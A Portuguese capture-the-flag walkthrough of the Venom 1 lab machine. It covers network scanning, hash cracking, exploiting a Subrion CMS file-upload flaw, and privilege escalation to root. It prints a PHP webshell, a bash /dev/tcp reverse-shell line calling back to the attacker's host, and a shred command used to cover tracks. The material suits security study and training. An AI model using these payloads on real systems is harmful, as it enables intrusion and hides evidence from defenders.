Venom 1

#eJPT #eWPT

Clique aqui para ver as dicas de ajuda para resolver a máquina sem ver o Writeup.

Recon
- Descoberta de hosts ativos
- Scan de portas e serviços
Web
- Página padrão do Apache
- Inspeção do código-fonte para comentários suspeitos
- Decodificação de hashes

FTP
- Descoberta de novos domínios (web login)
- Decodificação de cifras

CMS
- Vulnerabilidade de upload de arquivos
- Ler script para identificar como realizar o upload manualmente
- Fazer upload de uma Web Shell (.phar)

PrivEsc
- Reutilização de senhas (user pivot)
- Análise do histórico de comandos
- Permissões sudo

Reconhecimento de Rede

Descoberta de Hosts Ativos

Para iniciar o reconhecimento da rede, comecei com um ping sweep para identificar quais hosts estavam ativos. Usei o nmap com a opção -sn (ping scan) para realizar essa tarefa:

└─# nmap 10.0.2.1/24 -sn -T4 -n   
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.2.5
Host is up (0.0021s latency).

O scan revelou que a máquina alvo estava no IP 10.0.2.5. Esse foi o meu ponto de partida para os próximos passos.

Mapeamento de Portas e Serviços

Com o IP da máquina alvo em mãos, o próximo passo foi realizar um scan de portas para identificar quais serviços estavam ativos. Usei o nmap para escanear todas as portas TCP:

└─# nmap 10.0.2.5 -p- -sS --min-rate=5000 -v -n -Pn -oG tcp-portscan.txt
PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)

O scan revelou que as portas 21 (FTP), 80 (HTTP), 139 (NetBIOS), 443 (HTTPS) e 445 (Microsoft-DS) estavam abertas.

Para obter mais detalhes sobre os serviços em execução, executei um scan mais específico nas portas identificadas:

└─# nmap 10.0.2.5 -p 21,80,139,443,445 -sCV -v -n -Pn -oN tcp-scan.txt
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  http        Apache httpd 2.4.29
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:21:E0:19 (Oracle VirtualBox virtual NIC)
Service Info: Hosts: VENOM, 127.0.1.1; OS: Unix

Host script results:
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: venom
|   NetBIOS computer name: VENOM\\x00
|   Domain name: \\x00
|   FQDN: venom
|_  System time: 2024-01-24T05:30:21+05:30
| nbstat: NetBIOS ;name: VENOM, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   VENOM<00>            Flags: <unique><active>
|   VENOM<03>            Flags: <unique><active>
|   VENOM<20>            Flags: <unique><active>
|   \\x01\\x02__MSBROWSE__\\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|_  WORKGROUP<1e>        Flags: <group><active>
| smb2-time: 
|   date: 2024-01-24T00:00:21
|_  start_date: N/A
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -1h50m01s, deviation: 3h10m30s, median: -2s

O scan revelou que os serviços encontrados eram:

Porta 21 (FTP): vsftpd 3.0.3
Porta 80 (HTTP): Apache httpd 2.4.29 (Ubuntu)
Porta 139 (NetBIOS): Samba smbd 3.X - 4.X
Porta 443 (HTTPS): Apache httpd 2.4.29 (Ubuntu)
Porta 445 (SMB): Samba smbd 4.7.6-Ubuntu

Além disso, o scan forneceu informações adicionais sobre o serviço NetBIOS/Samba, incluindo a versão do Samba e alguns detalhes sobre o sistema:

Nome do computador NetBIOS: VENOM
Sistema Operacional: Windows 6.1 (Samba 4.7.6-Ubuntu)
Workgroup: WORKGROUP

Esses detalhes foram cruciais para orientar o próximo passo na exploração da máquina.

Explorando o Servidor Web

Quando acessei o servidor web via navegador, encontrei a página padrão do Apache.

Em seguida, inspecionei o código-fonte da página e descobri um comentário contendo um hash suspeito:

└─# curl -s 10.0.2.5

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "<http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd>">
<html xmlns="<http://www.w3.org/1999/xhtml>">
  <!--
    Modified from the Debian original for Ubuntu
    Last updated: 2016-11-16
    See: <https://launchpad.net/bugs/1288690>
  -->
  <head>
...<SNIP>...
 </div>
    </div>
    <div class="validator">
    </div>
  </body>
</html>
<!...<5f2a66f947fa5690c26506f66bde5c23> follow this to get access on somewhere.....-->

Identifiquei o hash como possivelmente MD5 usando a ferramenta hash-identifier:

└─# hash-identifier 
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: 5f2a66f947fa5690c26506f66bde5c23

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Com o hash identificado, usei o site Crackstation para decifrar o hash, obtendo a senha em texto claro: hostinger.

Explorando o FTP

Testando por tentativa e erro o termo "hostinger” como usuário e senha no FTP, conseguimos acesso:

└─# ftp 10.0.2.5                                                                                                                                    
Connected to 10.0.2.5.
220 (vsFTPd 3.0.3)
Name (10.0.2.5:kali): hostinger
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||47482|)
150 Here comes the directory listing.
drwxr-xr-x    2 1002     1002         4096 May 21  2021 files
226 Directory send OK.

Salvei essas credenciais para futuras referências:

└─# cat creds.txt 
hostinger : hostinger -> ftp (founded via website source code - hash cracking)

└─# echo 'hostinger' | tee -a users.list pass.list 
hostinger

Dentro do diretório files, encontrei um arquivo chamado hint.txt.

ftp> cd files
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||44062|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0             384 May 21  2021 hint.txt
226 Directory send OK.
ftp> get hint.txt
local: hint.txt remote: hint.txt
229 Entering Extended Passive Mode (|||49810|)
150 Opening BINARY mode data connection for hint.txt (384 bytes).
100% |**************************************************************************************************************************|   384      148.86 KiB/s    00:00 ETA
226 Transfer complete.
384 bytes received in 00:00 (79.28 KiB/s)
ftp> exit
221 Goodbye.

O arquivo hint.txt continha um domínio, o nome de usuário “dora”, dicas criptografadas, além de um desafio para de criptografar uma senha.

└─# cat hint.txt 
        Hey there... 

T0D0 --

* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password 

Have fun .. :)

Salvei "dora" e a senha criptografada como possíveis credenciais úteis:

└─# echo 'dora' | tee -a users.list                                  
dora
                                                                                                                                                                       
└─# echo 'L7f9l8@J#p%Ue+Q1234' | tee -a pass.list
L7f9l8@J#p%Ue+Q1234

Adicionei também o domínio ao arquivo /etc/hosts para facilitar o acesso:

└─# echo -e "10.0.2.5\\tvenom.box" | tee -a /etc/hosts     
10.0.2.5        venom.box

Acessando o Novo Domínio

Após acessar o domínio venom.box, percebi que ele resolve para um novo site, que inclui um painel de login:

Inspecionando as dicas que encontrei, notei que alguns textos estavam codificados em Base64. Decodifiquei um desses textos e obtive a dica de usar a cifra Vigenère para decodificar a senha:

└─# echo 'WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0=' | base64 -d | base64 -d | base64 -d
standard vigenere cipher

Além disso, a decodificação de outro texto Base64 me levou ao seguinte site, que oferece uma ferramenta para decodificação usando a cifra Vigenère:

└─# echo 'aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=' | base64 -d            
<https://cryptii.com/pipes/vigenere-cipher>

Utilizando o site indicado e inserindo o texto cifrado junto com a chave hostinger, obtive uma credencial potencial:

E7r9t8@Q#h%Hy+M1234

Com essa senha e o usuário dora, consegui acessar o painel de login em venom.box, e de fato obtive acesso à conta de administrador, conforme indicado pelo arquivo hint.txt:

Salvei essa informação:

└─# cat creds.txt                                                       
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)

└─# echo 'E7r9t8@Q#h%Hy+M1234' | tee -a pass.list 
E7r9t8@Q#h%Hy+M1234

Explorando o CMS Subrion

No rodapé da página, observei que o site estava rodando o CMS Subrion versão 4.2:

Examinei o código-fonte da página e confirmei que a versão do CMS é 4.2:

<!DOCTYPE html>
<html lang="en" dir="ltr">
    <head>
        

        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=Edge">
        <title>My Profile :: Powered by Subrion 4.2</title>
...<SNIP>...

Pesquisei vulnerabilidades conhecidas para esta versão do CMS usando o searchsploit e encontrei várias falhas de segurança, incluindo uma vulnerabilidade de upload de arquivos:

┌──(root㉿kali)-[/home/kali/CTF]
└─# searchsploit subrion 4.2                    
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                       |  Path
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Subrion 4.2.1 - 'Email' Persistant Cross-Site Scripting                                                                              | php/webapps/47469.txt
Subrion CMS 4.2.1 - 'avatar[path]' XSS                                                                                               | php/webapps/49346.txt
Subrion CMS 4.2.1 - Arbitrary File Upload                                                                                            | php/webapps/49876.py
Subrion CMS 4.2.1 - Cross Site Request Forgery (CSRF) (Add Amin)                                                                     | php/webapps/50737.txt
Subrion CMS 4.2.1 - Cross-Site Scripting                                                                                             | php/webapps/45150.txt
Subrion CMS 4.2.1 - Stored Cross-Site Scripting (XSS)                                                                                | php/webapps/51110.txt
------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Decidi explorar a vulnerabilidade de upload de arquivos para executar código remoto. Utilizei o script de exploração disponível para a versão 4.2.1:

└─# searchsploit -m 49876
  Exploit: Subrion CMS 4.2.1 - Arbitrary File Upload
      URL: <https://www.exploit-db.com/exploits/49876>
     Path: /usr/share/exploitdb/exploits/php/webapps/49876.py
    Codes: CVE-2018-19422
 Verified: False
File Type: Python script, ASCII text executable, with very long lines (956)
Copied to: /home/kali/CTF/49876.py

O script pede uma URL base para o painel de administração, além de credenciais de usuário e senha:

└─# python3 49876.py -h                        
Usage: 49876.py [options]

Options:
  -h, --help            show this help message and exit
  -u URL, --url=URL     Base target uri <http://target/panel>
  -l USER, --user=USER  User credential to login
  -p PASSW, --passw=PASSW
                        Password credential to login

Observando pelo navegador, o script busca abusar da funcionalidade de file upload, enviando assim uma webshell:

Ao executar o script com a URL do painel e as credenciais de dora, obtive sucesso na autenticação e na execução do ataque.

Com a webshell carregada, consegui executar comandos no servidor e confirmar que estava operando como www-data:

└─# python3 49876.py -u <http://venom.box/panel/> --user=dora --passw=E7r9t8@Q#h%Hy+M1234
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 

[+] Trying to connect to: <http://venom.box/panel/>
[+] Success!
[+] Got CSRF token: n9uADf4PFgjwMkBlQ0ssCd3xpn2JXpLJzDiVXl6h
[+] Trying to log in...
[+] Login Successful!

[+] Generating random name for Webshell...
[+] Generated webshell name: ednsffynwqaeveo

[+] Trying to Upload Webshell..
[+] Upload Success... Webshell path: <http://venom.box/panel/uploads/ednsffynwqaeveo.phar> 

$ whoami
www-data

$ hostname -I
10.0.2.5

Ganho de Acesso

Depois de fazer o upload da webshell maliciosa com a funcionalidade de upload de arquivos, observei que o arquivo .phar foi carregado com sucesso:

Baixei o arquivo e verifiquei seu conteúdo. O script PHP no arquivo .phar permite a execução de comandos no sistema alvo através do parâmetro cmd:

└─# batcat /home/kali/Downloads/ednsffynwqaeveo.phar 
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: /home/kali/Downloads/ednsffynwqaeveo.phar
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ <?php system($_GET['cmd']); ?>
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ao clicar com o botão direito no arquivo carregado e selecionar a opção "getsystem", verifiquei onde o arquivo estava acessível:

Para explorar a vulnerabilidade, acessei o arquivo através da URL da webshell, adicionando o parâmetro cmd para executar comandos no sistema:

Entendendo como a vulnerabilidade funciona, decidi modificar o arquivo para executar uma reverse shell. Substituí o código PHP pelo seguinte:

<?php system("bash -c 'bash -i >& /dev/tcp/10.0.2.17/443 0>&1'"); ?>

Isso faz com que a webshell se conecte de volta ao meu sistema na porta 443, estabelecendo uma conexão de shell reversa.

Depois de salvar as alterações, configurei meu listener para receber a conexão reversa:

└─# nc -nlvp 443
listening on [any] 443 ...

Quando acessei a URL da webshell com o novo código, recebi uma conexão de shell reversa:

└─# nc -nlvp 443
listening on [any] 443 ...
connect to [10.0.2.17] from (UNKNOWN) [10.0.2.5] 36328
bash: cannot set terminal process group (877): Inappropriate ioctl for device
bash: no job control in this shell
www-data@venom:/var/www/html/subrion/uploads$ whoami; hostname -I
whoami; hostname -I
www-data
10.0.2.5

Tratamento de TTY

Após obter a shell reversa, percebi que a sessão não estava configurada corretamente para um terminal interativo. Para corrigir isso, executei os seguintes comandos para tratar o terminal:

www-data@venom:/var/www/html/subrion/uploads$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@venom:/var/www/html/subrion/uploads$ ^Z
zsh: suspended  nc -nlvp 443
                                                                                                                                                                       
┌──(root㉿kali)-[/home/kali/CTF]
└─# stty raw -echo; fg
[1]  + continued  nc -nlvp 443
                              reset xterm

Verifiquei as dimensões do terminal correspondente ao meu ambiente:

└─# stty size
34 167

Depois, ajustei as configurações do terminal na shell comprometida:

www-data@venom:/var/www/html/subrion/uploads$ stty rows 34 columns 167
www-data@venom:/var/www/html/subrion/uploads$ export TERM=xterm SHELL=bash

Escalada de Privilégio

Ao ganhar acesso à máquina, verifiquei o diretório de uploads e encontrei o arquivo .phar malicioso que havia carregado:

www-data@venom:/var/www/html/subrion/uploads$ ls -la
total 24
drwxr-xr-x  4 www-data www-data 4096 Jan 24 08:09 .
drwxr-xr-x 13 www-data www-data 4096 May 21  2021 ..
-rwxr-xr-x  1 www-data www-data  656 Jun 14  2018 .htaccess
drwxr-xr-x  2 www-data www-data 4096 May 20  2021 .quarantine
drwxrwxrwx  2 www-data www-data 4096 May 20  2021 .tmb
-rw-r--r--  1 www-data www-data   68 Jan 24 08:14 ednsffynwqaeveo.phar

Para cobrir meus rastros, usei o comando shred para excluir o arquivo de forma segura:

www-data@venom:/var/www/html/subrion/uploads$ shred -zun 5 -v ednsffynwqaeveo.phar 
shred: ednsffynwqaeveo.phar: pass 1/6 (random)...
shred: ednsffynwqaeveo.phar: pass 2/6 (ffffff)...
shred: ednsffynwqaeveo.phar: pass 3/6 (random)...
shred: ednsffynwqaeveo.phar: pass 4/6 (000000)...
shred: ednsffynwqaeveo.phar: pass 5/6 (random)...
shred: ednsffynwqaeveo.phar: pass 6/6 (000000)...
shred: ednsffynwqaeveo.phar: removing
shred: ednsffynwqaeveo.phar: renamed to 00000000000000000000
shred: ednsffynwqaeveo.phar: removed

Agora que estou com o usuário www-data, verifiquei a presença do usuário hostinger no sistema:

hostinger@venom:/home$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
nathan:x:1000:1000:nathan,,,:/home/nathan:/bin/bash
hostinger:x:1002:1002:,,,:/home/hostinger:/bin/bash

Pivô de Usuário

Notei que a senha do hostinger é a mesma usada anteriormente. Assim, acessei a conta do hostinger com a senha hostinger:

www-data@venom:/home$ su hostinger
Password: hostinger
hostinger@venom:/home$

Atualizei meu arquivo de credenciais para refletir todas as informações obtidas:

└─# cat creds.txt 
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
hostinger : hostinger -> user system 10.0.2.5 (password reuse)

Adicionei também os usuários identificados para referência futura:

└─# echo "nathan\\nroot" | tee -a users.list
nathan
root

Após obter acesso ao diretório /home/hostinger, eu observei que o diretório do usuário nathan não estava acessível devido a permissões restritas:

hostinger@venom:~$ ls /home/*
/home/hostinger:
Desktop  Documents  Downloads  examples.desktop  ftp  Music  Pictures  Public  Templates  Videos
ls: cannot open directory '/home/nathan': Permission denied

No diretório de hostinger, encontrei o arquivo .bash_history, que continha comandos relacionados a um arquivo de backup:

...<SNIP>...
find raj -exec "whoami" \\;
su root
which find
find nc
find find
cd /tmp
ls
touch raj
find raj -exec "whoami" \\;
cat  /var/www/html/subrion/backup/.htaccess 
su nathan
lls
s
ls
cat check_me.py 
su nathan
cat /var/www/html/subrion/backup/.htaccess 
su
clear
su nathanxec "whoami" \\;
su root
...<SNIP>...

Fui até o arquivo /var/www/html/subrion/backup/.htaccess, que continha uma possível senha:

hostinger@venom:~$ cat /var/www/html/subrion/backup/.htaccess
allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a

Testei essa credencial e confirmei que era válida para o usuário nathan:

hostinger@venom:~$ su nathan
Password: FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a
nathan@venom:/home/hostinger

Atualizei o arquivo de credenciais para incluir a senha de nathan:

└─# echo 'FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a' | tee -a pass.list 
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a

└─# cat creds.txt 
hostinger : hostinger -> ftp (founded via website source code - hash cracking)
dora : E7r9t8@Q#h%Hy+M1234 -> venom.box login panel (founded via cipher decode)
hostinger : hostinger -> user system 10.0.2.5 (password reuse)
nathan : FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a -> user system 10.0.2.5 (bash history leakage)

Com a credencial de nathan, agora posso acessar seu diretório home e encontrar a flag de usuário:

nathan@venom:/home$ cd nathan/
nathan@venom:~$ ls
Desktop  Documents  Downloads  examples.desktop  Music  Pictures  Public  Templates  user.txt  Videos
nathan@venom:~$ cat user.txt 
W3_@r3_V3n0m:P

Obtendo Root

Após acessar a conta de nathan, verifiquei as permissões de sudo para entender quais comandos poderiam ser executados com privilégios de root. Descobri que nathan podia executar qualquer comando como root, com a exceção do comando /bin/su:

nathan@venom:~$ sudo -l
[sudo] password for nathan: 
Matching Defaults entries for nathan on venom:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin

User nathan may run the following commands on venom:
    (root) ALL, !/bin/su
    (root) ALL, !/bin/su

Como teste, utilizei sudo para iniciar uma shell com privilégios de root. Por exemplo, executei o comando whoami para verificar se realmente tinha privilégios de root:

nathan@venom:~$ sudo whoami
root

Isso confirmou que eu tinha privilégios de root. Então, abri uma shell com sudo para executar comandos diretamente como root:

nathan@venom:~$ sudo bash
root@venom:~# id
uid=0(root) gid=0(root) groups=0(root)

Com acesso root, pude acessar o arquivo de flag localizado no diretório /root:

root@venom:~# cat /root/root.txt 
#root_flag
H@v3_a_n1c3_l1fe.

Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.

AnteriorVHB Machines

Atualizado há 25 dias